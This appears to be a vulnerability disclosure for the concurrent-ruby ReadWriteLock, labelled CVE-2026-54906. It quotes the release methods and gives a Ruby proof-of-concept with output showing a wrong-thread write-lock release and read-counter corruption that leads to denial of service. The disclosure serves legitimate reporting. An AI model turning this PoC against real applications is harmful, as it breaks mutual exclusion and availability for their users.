concurrent-ruby CVE-2026-54906

def release_write_lock
  return true unless running_writer?
  c = @Counter.update { |counter| counter - RUNNING_WRITER }
  @ReadLock.broadcast
  @WriteLock.signal if waiting_writers(c) > 0
  true
end

def release_read_lock
  while true
    c = @Counter.value
    if @Counter.compare_and_set(c, c-1)
      if waiting_writer?(c) && running_readers(c) == 1
        @WriteLock.signal
      end
      break
    end
  end
  true
end

ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"

lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false

writer1 = Thread.new do
  lock.acquire_write_lock
  writer1_inside = true
  events << :writer1_acquired
  sleep 0.5
  writer1_inside = false
  lock.release_write_lock
  events << :writer1_finished
end

events.pop
puts 'writer1_acquired=true'

intruder_result = nil
intruder = Thread.new do
  intruder_result = lock.release_write_lock
end
intruder.join

puts "wrong_thread_release_write_lock_returned=#{intruder_result}"

writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
  lock.acquire_write_lock
  writer2_entered_while_writer1_inside = writer1_inside
  lock.release_write_lock
end

writer2.join(0.25)

puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"

writer1.join

lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
  lock2.acquire_read_lock
  'acquired'
rescue => error
  "#{error.class}: #{error.message}"
end

puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"

if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
  puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
  puts 'result=NOT_REPRODUCED'
end

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruption